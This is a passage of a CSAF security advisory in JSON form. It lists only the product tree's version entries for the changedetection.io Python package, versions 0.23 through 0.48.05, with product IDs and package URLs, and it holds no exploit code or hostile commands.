                                    "name": "vers:unknown/0.23",
                                    "product_id": "CSAFPID-3624456"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.24",
                                "product": {
                                    "name": "vers:unknown/0.24",
                                    "product_id": "CSAFPID-3624457"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.25",
                                "product": {
                                    "name": "vers:unknown/0.25",
                                    "product_id": "CSAFPID-3624458"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.26",
                                "product": {
                                    "name": "vers:unknown/0.26",
                                    "product_id": "CSAFPID-3624459"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.27",
                                "product": {
                                    "name": "vers:unknown/0.27",
                                    "product_id": "CSAFPID-3624460"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.28",
                                "product": {
                                    "name": "vers:unknown/0.28",
                                    "product_id": "CSAFPID-3624461"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.29",
                                "product": {
                                    "name": "vers:unknown/0.29",
                                    "product_id": "CSAFPID-3624462"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.30",
                                "product": {
                                    "name": "vers:unknown/0.30",
                                    "product_id": "CSAFPID-3624463"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.31",
                                "product": {
                                    "name": "vers:unknown/0.31",
                                    "product_id": "CSAFPID-3624464"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.32",
                                "product": {
                                    "name": "vers:unknown/0.32",
                                    "product_id": "CSAFPID-3624465"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.33",
                                "product": {
                                    "name": "vers:unknown/0.33",
                                    "product_id": "CSAFPID-3624466"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.34",
                                "product": {
                                    "name": "vers:unknown/0.34",
                                    "product_id": "CSAFPID-3624467"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.35",
                                "product": {
                                    "name": "vers:unknown/0.35",
                                    "product_id": "CSAFPID-3624468"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.36",
                                "product": {
                                    "name": "vers:unknown/0.36",
                                    "product_id": "CSAFPID-3624469"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.37",
                                "product": {
                                    "name": "vers:unknown/0.37",
                                    "product_id": "CSAFPID-3624470"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.38",
                                "product": {
                                    "name": "vers:unknown/0.38",
                                    "product_id": "CSAFPID-3624471"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.38.1",
                                "product": {
                                    "name": "vers:unknown/0.38.1",
                                    "product_id": "CSAFPID-3624472"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.38.2",
                                "product": {
                                    "name": "vers:unknown/0.38.2",
                                    "product_id": "CSAFPID-3624473",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.38.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39",
                                "product": {
                                    "name": "vers:unknown/0.39",
                                    "product_id": "CSAFPID-3624474",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.1",
                                "product": {
                                    "name": "vers:unknown/0.39.1",
                                    "product_id": "CSAFPID-3624475",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.10",
                                "product": {
                                    "name": "vers:unknown/0.39.10",
                                    "product_id": "CSAFPID-3624476",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.10"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.11",
                                "product": {
                                    "name": "vers:unknown/0.39.11",
                                    "product_id": "CSAFPID-3624477",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.11"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.12",
                                "product": {
                                    "name": "vers:unknown/0.39.12",
                                    "product_id": "CSAFPID-3624478",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.12"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.13",
                                "product": {
                                    "name": "vers:unknown/0.39.13",
                                    "product_id": "CSAFPID-3624479",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.13"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.13.1",
                                "product": {
                                    "name": "vers:unknown/0.39.13.1",
                                    "product_id": "CSAFPID-3624480",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.13.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.14",
                                "product": {
                                    "name": "vers:unknown/0.39.14",
                                    "product_id": "CSAFPID-3624481",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.14"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.15",
                                "product": {
                                    "name": "vers:unknown/0.39.15",
                                    "product_id": "CSAFPID-3624482",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.15"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.16",
                                "product": {
                                    "name": "vers:unknown/0.39.16",
                                    "product_id": "CSAFPID-3624483",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.16"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.17",
                                "product": {
                                    "name": "vers:unknown/0.39.17",
                                    "product_id": "CSAFPID-3624484",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.17"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.17.1",
                                "product": {
                                    "name": "vers:unknown/0.39.17.1",
                                    "product_id": "CSAFPID-3624485",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.17.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.17.2",
                                "product": {
                                    "name": "vers:unknown/0.39.17.2",
                                    "product_id": "CSAFPID-3624486",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.17.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.18",
                                "product": {
                                    "name": "vers:unknown/0.39.18",
                                    "product_id": "CSAFPID-3624487",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.18"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.19",
                                "product": {
                                    "name": "vers:unknown/0.39.19",
                                    "product_id": "CSAFPID-3624488",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.19"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.19.1",
                                "product": {
                                    "name": "vers:unknown/0.39.19.1",
                                    "product_id": "CSAFPID-3624489",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.19.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.2",
                                "product": {
                                    "name": "vers:unknown/0.39.2",
                                    "product_id": "CSAFPID-3624490",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.20",
                                "product": {
                                    "name": "vers:unknown/0.39.20",
                                    "product_id": "CSAFPID-3624491",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.20"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.20.1",
                                "product": {
                                    "name": "vers:unknown/0.39.20.1",
                                    "product_id": "CSAFPID-3624492",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.20.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.20.2",
                                "product": {
                                    "name": "vers:unknown/0.39.20.2",
                                    "product_id": "CSAFPID-3624493",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.20.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.20.3",
                                "product": {
                                    "name": "vers:unknown/0.39.20.3",
                                    "product_id": "CSAFPID-3624494",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.20.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.20.4",
                                "product": {
                                    "name": "vers:unknown/0.39.20.4",
                                    "product_id": "CSAFPID-3624495",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.20.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.21",
                                "product": {
                                    "name": "vers:unknown/0.39.21",
                                    "product_id": "CSAFPID-3624496",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.21"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.21.1",
                                "product": {
                                    "name": "vers:unknown/0.39.21.1",
                                    "product_id": "CSAFPID-3624497",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.21.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.22",
                                "product": {
                                    "name": "vers:unknown/0.39.22",
                                    "product_id": "CSAFPID-3624498",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.22"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.22.1",
                                "product": {
                                    "name": "vers:unknown/0.39.22.1",
                                    "product_id": "CSAFPID-3624499",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.22.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.3",
                                "product": {
                                    "name": "vers:unknown/0.39.3",
                                    "product_id": "CSAFPID-3624500",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.4",
                                "product": {
                                    "name": "vers:unknown/0.39.4",
                                    "product_id": "CSAFPID-3624501",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.5",
                                "product": {
                                    "name": "vers:unknown/0.39.5",
                                    "product_id": "CSAFPID-3624502",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.6",
                                "product": {
                                    "name": "vers:unknown/0.39.6",
                                    "product_id": "CSAFPID-3624503",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.7",
                                "product": {
                                    "name": "vers:unknown/0.39.7",
                                    "product_id": "CSAFPID-3624504",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.8",
                                "product": {
                                    "name": "vers:unknown/0.39.8",
                                    "product_id": "CSAFPID-3624505",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.9",
                                "product": {
                                    "name": "vers:unknown/0.39.9",
                                    "product_id": "CSAFPID-3624506",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.9"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.0",
                                "product": {
                                    "name": "vers:unknown/0.40.0",
                                    "product_id": "CSAFPID-3624507",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.0.2",
                                "product": {
                                    "name": "vers:unknown/0.40.0.2",
                                    "product_id": "CSAFPID-3624508",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.0.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.0.3",
                                "product": {
                                    "name": "vers:unknown/0.40.0.3",
                                    "product_id": "CSAFPID-3624509",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.0.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.0.4",
                                "product": {
                                    "name": "vers:unknown/0.40.0.4",
                                    "product_id": "CSAFPID-3624510",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.0.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.1.0",
                                "product": {
                                    "name": "vers:unknown/0.40.1.0",
                                    "product_id": "CSAFPID-3624511",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.1.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.1.1",
                                "product": {
                                    "name": "vers:unknown/0.40.1.1",
                                    "product_id": "CSAFPID-3624512",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.1.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.2",
                                "product": {
                                    "name": "vers:unknown/0.40.2",
                                    "product_id": "CSAFPID-3624513",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.3",
                                "product": {
                                    "name": "vers:unknown/0.40.3",
                                    "product_id": "CSAFPID-3624514",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.41",
                                "product": {
                                    "name": "vers:unknown/0.41",
                                    "product_id": "CSAFPID-3624515",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.41"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.41.1",
                                "product": {
                                    "name": "vers:unknown/0.41.1",
                                    "product_id": "CSAFPID-3624516",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.41.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.42",
                                "product": {
                                    "name": "vers:unknown/0.42",
                                    "product_id": "CSAFPID-3624517",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.42"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.42.1",
                                "product": {
                                    "name": "vers:unknown/0.42.1",
                                    "product_id": "CSAFPID-3624518",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.42.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.42.2",
                                "product": {
                                    "name": "vers:unknown/0.42.2",
                                    "product_id": "CSAFPID-3624519",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.42.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.42.3",
                                "product": {
                                    "name": "vers:unknown/0.42.3",
                                    "product_id": "CSAFPID-3624520",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.42.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.43",
                                "product": {
                                    "name": "vers:unknown/0.43",
                                    "product_id": "CSAFPID-3624521"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.43.1",
                                "product": {
                                    "name": "vers:unknown/0.43.1",
                                    "product_id": "CSAFPID-3624522",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.43.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.43.2",
                                "product": {
                                    "name": "vers:unknown/0.43.2",
                                    "product_id": "CSAFPID-3624523",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.43.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.44",
                                "product": {
                                    "name": "vers:unknown/0.44",
                                    "product_id": "CSAFPID-3624524",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.44"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.44.1",
                                "product": {
                                    "name": "vers:unknown/0.44.1",
                                    "product_id": "CSAFPID-3624525",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.44.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.44.2",
                                "product": {
                                    "name": "vers:unknown/0.44.2",
                                    "product_id": "CSAFPID-3624526"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45",
                                "product": {
                                    "name": "vers:unknown/0.45",
                                    "product_id": "CSAFPID-3624527",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.1",
                                "product": {
                                    "name": "vers:unknown/0.45.1",
                                    "product_id": "CSAFPID-1089551",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.10",
                                "product": {
                                    "name": "vers:unknown/0.45.10",
                                    "product_id": "CSAFPID-1089560"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.12",
                                "product": {
                                    "name": "vers:unknown/0.45.12",
                                    "product_id": "CSAFPID-1089562",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.12"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.13",
                                "product": {
                                    "name": "vers:unknown/0.45.13",
                                    "product_id": "CSAFPID-1089563",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.13"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.14",
                                "product": {
                                    "name": "vers:unknown/0.45.14",
                                    "product_id": "CSAFPID-1089564",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.14"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.15",
                                "product": {
                                    "name": "vers:unknown/0.45.15",
                                    "product_id": "CSAFPID-1089565",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.15"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.16",
                                "product": {
                                    "name": "vers:unknown/0.45.16",
                                    "product_id": "CSAFPID-1089566",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.16"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.17",
                                "product": {
                                    "name": "vers:unknown/0.45.17",
                                    "product_id": "CSAFPID-1089567",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.17"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.18",
                                "product": {
                                    "name": "vers:unknown/0.45.18",
                                    "product_id": "CSAFPID-1089568",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.18"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.19",
                                "product": {
                                    "name": "vers:unknown/0.45.19",
                                    "product_id": "CSAFPID-1089569",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.19"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.2",
                                "product": {
                                    "name": "vers:unknown/0.45.2",
                                    "product_id": "CSAFPID-1089552",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.20",
                                "product": {
                                    "name": "vers:unknown/0.45.20",
                                    "product_id": "CSAFPID-1089570",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:dgtlmoon:changedetection.io:0.45.20:*:*:*:*:*:*:*",
                                        "purl": "pkg:pypi/changedetection-io@0.45.20"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.21",
                                "product": {
                                    "name": "vers:unknown/0.45.21",
                                    "product_id": "CSAFPID-1095042",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.21"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.22",
                                "product": {
                                    "name": "vers:unknown/0.45.22",
                                    "product_id": "CSAFPID-3760074",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.22"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.23",
                                "product": {
                                    "name": "vers:unknown/0.45.23",
                                    "product_id": "CSAFPID-3760075",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.23"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.24",
                                "product": {
                                    "name": "vers:unknown/0.45.24",
                                    "product_id": "CSAFPID-3760076",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.24"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.25",
                                "product": {
                                    "name": "vers:unknown/0.45.25",
                                    "product_id": "CSAFPID-3760077",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.25"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.26",
                                "product": {
                                    "name": "vers:unknown/0.45.26",
                                    "product_id": "CSAFPID-3760078",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.26"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.3",
                                "product": {
                                    "name": "vers:unknown/0.45.3",
                                    "product_id": "CSAFPID-1089553",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.4",
                                "product": {
                                    "name": "vers:unknown/0.45.4",
                                    "product_id": "CSAFPID-1089554",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.5",
                                "product": {
                                    "name": "vers:unknown/0.45.5",
                                    "product_id": "CSAFPID-1089555",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.6",
                                "product": {
                                    "name": "vers:unknown/0.45.6",
                                    "product_id": "CSAFPID-1089556",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.7",
                                "product": {
                                    "name": "vers:unknown/0.45.7",
                                    "product_id": "CSAFPID-1089557",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.7.1",
                                "product": {
                                    "name": "vers:unknown/0.45.7.1",
                                    "product_id": "CSAFPID-3624528",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.7.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.7.2",
                                "product": {
                                    "name": "vers:unknown/0.45.7.2",
                                    "product_id": "CSAFPID-3624529",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.7.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.7.3",
                                "product": {
                                    "name": "vers:unknown/0.45.7.3",
                                    "product_id": "CSAFPID-3624530",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.7.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.8",
                                "product": {
                                    "name": "vers:unknown/0.45.8",
                                    "product_id": "CSAFPID-1089558",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.8.1",
                                "product": {
                                    "name": "vers:unknown/0.45.8.1",
                                    "product_id": "CSAFPID-3624531",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.8.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.9",
                                "product": {
                                    "name": "vers:unknown/0.45.9",
                                    "product_id": "CSAFPID-1089559",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.9"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.46.00",
                                "product": {
                                    "name": "vers:unknown/0.46.00",
                                    "product_id": "CSAFPID-3760079"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.46.01",
                                "product": {
                                    "name": "vers:unknown/0.46.01",
                                    "product_id": "CSAFPID-3760080"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.46.02",
                                "product": {
                                    "name": "vers:unknown/0.46.02",
                                    "product_id": "CSAFPID-3760081"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.46.03",
                                "product": {
                                    "name": "vers:unknown/0.46.03",
                                    "product_id": "CSAFPID-3760082"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.46.04",
                                "product": {
                                    "name": "vers:unknown/0.46.04",
                                    "product_id": "CSAFPID-3760083"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.00",
                                "product": {
                                    "name": "vers:unknown/0.47.00",
                                    "product_id": "CSAFPID-3760084"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.01",
                                "product": {
                                    "name": "vers:unknown/0.47.01",
                                    "product_id": "CSAFPID-3760085"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.03",
                                "product": {
                                    "name": "vers:unknown/0.47.03",
                                    "product_id": "CSAFPID-3760086"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.04",
                                "product": {
                                    "name": "vers:unknown/0.47.04",
                                    "product_id": "CSAFPID-3760087"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.05",
                                "product": {
                                    "name": "vers:unknown/0.47.05",
                                    "product_id": "CSAFPID-3760088"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.06",
                                "product": {
                                    "name": "vers:unknown/0.47.06",
                                    "product_id": "CSAFPID-3760089"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.00",
                                "product": {
                                    "name": "vers:unknown/0.48.00",
                                    "product_id": "CSAFPID-3760090"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.01",
                                "product": {
                                    "name": "vers:unknown/0.48.01",
                                    "product_id": "CSAFPID-3760091"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.03",
                                "product": {
                                    "name": "vers:unknown/0.48.03",
                                    "product_id": "CSAFPID-3760092"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.04",
                                "product": {
                                    "name": "vers:unknown/0.48.04",
                                    "product_id": "CSAFPID-3007212"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.05",
                                "product": {
                                    "name": "vers:unknown/0.48.05",
                                    "product_id": "CSAFPID-3760093"
                                }
                            },
                            {
